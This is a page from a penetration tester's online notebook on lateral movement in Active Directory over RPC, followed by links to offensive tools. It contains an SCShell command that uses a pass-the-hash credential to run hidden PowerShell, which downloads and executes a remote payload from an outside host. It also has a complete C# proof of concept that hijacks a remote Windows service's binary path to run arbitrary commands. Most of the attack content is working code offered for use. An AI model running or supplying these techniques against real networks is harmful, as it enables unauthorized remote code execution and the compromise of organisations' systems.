Pentester's Promiscuous Notebook
TwitterGitHubBlog
  • README
  • ⚒️Pentest
    • C2
      • Covenant
      • Empire
      • Havoc
      • Meterpreter
      • PoshC2
      • Sliver
    • Infrastructure
      • AD
        • ACL Abuse
        • AD CS Abuse
          • dNSHostName Spoofing (Certifried)
          • ESC1
          • ESC4
          • ESC8
          • ESC15
          • Golden Certificate
          • Pass-the-Certificate
        • ADIDNS Abuse
        • Attack Trusts
        • Attack RODCs
        • AV / EDR Evasion
          • .NET Assembly
            • .NET Config Loader
            • .NET Dynamic API Invocation
            • .NET In-Memory Assembly
            • .NET Reflective Assembly
          • AMSI Bypass
          • Application Whitelist Bypass
          • AppLocker Bypass
          • BYOVD
          • CLM Bypass
          • Defender
          • ETW Block
          • Execution Policy Bypass
          • Mimikatz
          • UAC Bypass
        • Authentication Coercion
        • BadSuccessor
        • Credentials Harvesting
          • From Memory
            • lsass.exe
            • svchost.exe
          • Credential Phishing
          • DCSync
          • DPAPI
          • KeePass
          • Linux
          • LSA
          • NetSync
          • NPLogonNotify
          • NTDS
          • Password Filter
          • RDP
          • SAM
          • SSH Clients
          • SSPI
        • Discovery
        • DnsAdmins
        • Dominance
        • GPO Abuse
        • Kerberos
          • Delegation Abuse
            • Constrained
            • Resource-based Constrained
            • Unconstrained
          • Kerberos Relay
          • Roasting
        • Key Credentials Abuse
        • LAPS
        • Lateral Movement
          • DCOM
          • Overpass-the-Hash
          • Pass-the-Hash
          • Pass-the-Ticket
          • RDP
          • RPC
          • RunAs
          • SMB
          • SPN-jacking
          • WinRM / PSRemoting
          • WMI
        • LDAP
        • NTLM
          • NTLM Relay
          • NTLMv1 Downgrade
        • Password Spraying
        • Post Exploitation
        • Pre-created Computers Abuse
        • PrivExchange
        • Privileges Abuse
          • SeBackupPrivilege & SeRestorePrivilege
          • SeImpersonatePrivilege
            • Potatoes
            • PrintSpoofer
          • SeTrustedCredmanAccess
        • RID Cycling
        • SCCM Abuse
        • SMB
        • Token Manipulation
        • User Hunt
        • WSUS
        • Zerologon
      • Azure AD
        • On-Prem ↔ Cloud
          • Cloud → On-Prem
          • On-Prem → Cloud
        • PRT Abuse
      • DevOps
        • Ansible
        • Artifactory
        • Atlassian
        • Containerization / Orchestration
        • GitLab
        • HashiCorp Vault
        • Jenkins
        • VS Code
        • Zabbix
      • DBMS
        • FireBird
        • MS SQL
        • MySQL / MariaDB
        • Oracle
        • Redis
        • SQLite
      • Authentication Brute Force
      • File Transfer
      • IPMI
      • Kiosk Breakout
      • Low-Hanging Fruits
      • LPE
      • Networks
        • L2
          • ARP Spoofing
          • DHCPv6 Spoofing
          • LLMNR / NBNS Poisoning
          • SNACs Abuse
          • VLAN Hopping
        • NAC Bypass
        • Scanning
        • SIP / VoIP
        • Sniff Traffic
      • NFS
      • Persistence
      • Pivoting
      • Post Exploitation
      • SNMP
      • SSH
      • TFTP
      • VNC
    • OSINT
      • Shodan
    • Password Brute Force
      • Generate Wordlists
    • Perimeter
      • 1C
      • ADFS
      • Cisco
      • DNS
      • Exchange
      • Information Gathering
      • IPSec
      • Java RMI
      • Log4j / Log4Shell
      • Lync & Skype for Business
      • NTP
      • Outlook
      • OWA
      • SharePoint
      • SMTP
      • SSH
      • Subdomain Takeover
    • Shells
      • Reverse Shells
      • Web Shells
    • Web
      • 2FA Bypass
      • LFI / RFI
      • SOP / CORS
      • SQLi
      • WAF
      • WordPress
      • XSS
    • Wi-Fi
      • WPA / WPA2
        • Enterprise
        • Personal
  • ⚔️Red Team
    • Basics
    • Cobalt Strike
      • UDRL
    • Infrastructure
    • MalDev
      • API Hashing
      • API Hooking
      • BOF / COFF
      • CFG
      • Code Injection
        • DLL Injectors
        • Process Hollowing
        • Process Injectors
        • Shellcode Runners
      • DLL Hijacking
      • Golang
      • Kernel Mode
      • PIC / Shellcode
      • Nim
      • Sandbox Evasion
      • Syscalls
      • Windows API
    • SE
      • Phishing
        • HTML Smuggling
        • MS Office
        • Rogue RDP
  • 🐞Exploit Dev
    • BOF
      • OSCP BOF
      • OSED SEH Overflow
    • RE
    • WinDbg
  • ⚙️Admin
    • Git
    • Linux
      • Kali
    • Networking
      • DHCP Server & Linux Hotspot
      • Quick Configurations
      • Routing
      • WireGuard
    • Virtualization
      • Docker
      • Hyper-V
      • VirtualBox
      • VMWare
    • Windows
Powered by GitBook
On this page
  • SCM
  • Task Scheduler
  • RPC
  • Task Tampering
  • Hidden Tasks
  • Tools
  1. Pentest
  2. Infrastructure
  3. AD
  4. Lateral Movement

RPC

Remote Procedure Call

Last updated 23 hours ago

SCM

Using Python and PtH:

$ python scshell.py MEGACORP/snovvcrash@192.168.1.11 -hashes :fc525c9683e8fe067095ba2ddc971889 -service-name lfsvc
SCShell>C:\windows\system32\cmd.exe /c powershell.exe -nop -w hidden -c iex(new-object net.webclient).downloadstring('http://10.10.13.37:8080/payload.ps1')

Custom PoC:

SharpSCExec.cs
using System;
using System.Runtime.InteropServices;

namespace SharpSCExec
{
    class Program
    {
        [DllImport("advapi32.dll", SetLastError = true, BestFitMapping = false, ThrowOnUnmappableChar = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        internal static extern bool LogonUser([MarshalAs(UnmanagedType.LPStr)] string lpszUsername, [MarshalAs(UnmanagedType.LPStr)] string lpszDomain, [MarshalAs(UnmanagedType.LPStr)] string lpszPassword, int dwLogonType, int dwLogonProvider, out IntPtr phToken);

        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool ImpersonateLoggedOnUser(IntPtr hToken);

        [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);

        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);

        [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);

        [DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);

        [DllImport("advapi32", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);

        [DllImport("kernel32.dll")]
        public static extern uint GetLastError();

        [StructLayout(LayoutKind.Sequential)]
        public class QueryServiceConfigStruct
        {
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
            public UInt32 dwServiceType;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
            public UInt32 dwStartType;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
            public UInt32 dwErrorControl;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
            public String lpBinaryPathName;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
            public String lpLoadOrderGroup;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
            public UInt32 dwTagID;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
            public String lpDependencies;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
            public String lpServiceStartName;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
            public String lpDisplayName;
        };

        static void Main(string[] args)
        {
            string target = args[0];
            string svcName = args[1]; // Potential candidates are: XblAuthManager, SensorService, BTAGService, lfsvc
            string payload = args[2];

            if (args.Length < 3)
            {
                Console.WriteLine("Usage: SharpSCExec.exe <TARGET> <SERVICE> <PAYLOAD>");
                Console.WriteLine("Example: SharpSCExec.exe SRV01 SensorService \"cmd.exe /c ping -n 2 10.10.13.37\"");
                return;
            }

            if (args.Length > 3)
            {
                string domain = args[3];
                string username = args[4];
                string password = args[5];
                IntPtr hToken = IntPtr.Zero;
                if (!LogonUser(username, domain, password, 0x9, 0, out hToken))
                {
                    Console.WriteLine($"[-] LogonUser failed: {GetLastError()}");
                    Environment.Exit(0);
                }
                if (!ImpersonateLoggedOnUser(hToken))
                {
                    Console.WriteLine($"[-] ImpersonateLoggedOnUser failed: {GetLastError()}");
                    Environment.Exit(0);
                }
            }

            IntPtr SCMHandle = OpenSCManager(
                target,
                null,
                0xF003F); // SC_MANAGER_ALL_ACCESS

            IntPtr hService = OpenService(
                SCMHandle,
                svcName,
                0xF01FF); // SERVICE_ALL_ACCESS

            UInt32 bytesNeeded;
            bool res = QueryServiceConfig(hService, IntPtr.Zero, 0, out bytesNeeded);
            IntPtr ptr = Marshal.AllocHGlobal((int)bytesNeeded);
            res = QueryServiceConfig(hService, ptr, bytesNeeded, out bytesNeeded);
            QueryServiceConfigStruct qsc = new QueryServiceConfigStruct();
            Marshal.PtrToStructure(ptr, qsc);
            string origBinaryPath = qsc.lpBinaryPathName;
            Console.WriteLine($"[*] Extracted original service binary: \"{origBinaryPath}\"");

            res = ChangeServiceConfigA(
                hService,
                0xffffffff, // SERVICE_NO_CHANGE
                0x3,        // SERVICE_DEMAND_START
                0,          // SERVICE_NO_CHANGE
                payload,
                null,
                null,
                null,
                null,
                null,
                null);

            if (res)
            {
                Console.WriteLine("[+] Service binary changed successfully!");
            }
            else
            {
                Console.WriteLine($"[-] Failed changing service binary: {GetLastError()}");
            }

            res = StartService(hService, 0, null);
            Console.WriteLine($"[*] StartService terminated with return code {res} and error {GetLastError()}");

            res = ChangeServiceConfigA(
                hService,
                0xffffffff, // SERVICE_NO_CHANGE
                0x3,        // SERVICE_DEMAND_START
                0,          // SERVICE_NO_CHANGE
                origBinaryPath,
                null,
                null,
                null,
                null,
                null,
                null);

            if (res)
            {
                Console.WriteLine("[+] Original service binary restored successfully!");
            }
            else
            {
                Console.WriteLine($"[-] Failed restoring original service binary: {GetLastError()}");
            }
        }
    }
}

Task Scheduler

RPC

Task Tampering

Hidden Tasks

GhostTask

Tools

go-msrpc / goexec

⚒️
https://sensepost.com/blog/2021/building-an-offensive-rpc-interface/
https://github.com/s0i37/lateral
https://github.com/Mr-Un1k0d3r/SCShell
https://github.com/juliourena/SharpNoPSExec
https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Fileless%20Lateral%20Movement/Program.cs
implementation
https://riccardoancarani.github.io/2021-01-25-random-notes-on-task-scheduler-lateral-movement/
https://cymulate.com/blog/task-scheduler-new-vulnerabilities-for-schtasks-exe/
[PDF] Unorthodox Lateral Movement (Riccardo Ancarani)
https://github.com/Ridter/atexec-pro
https://labs.withsecure.com/publications/scheduled-task-tampering
https://github.com/jsecu/ModTask
https://habr.com/ru/companies/rvision/articles/723050/
https://rt-solar.ru/solar-4rays/blog/4839/
https://github.com/4RAYS-by-SOLAR/taskcache-re-plugin
https://github.com/BinaryDefense/HiddenTaskHunter/blob/main/hunt_hidden_tasks.ps1
https://github.com/netero1010/GhostTask
https://gist.github.com/Workingdaturah/991de2d176b4b8c8bafd29cc957e20c2
https://github.com/dmcxblue/SharpGhostTask
https://github.com/mandiant/SharPersist
https://github.com/RiccardoAncarani/TaskShell
https://github.com/netero1010/ScheduleRunner
https://github.com/oiweiwei/go-msrpc
https://www.falconops.com/blog/introducing-goexec
https://github.com/FalconOpsLLC/goexec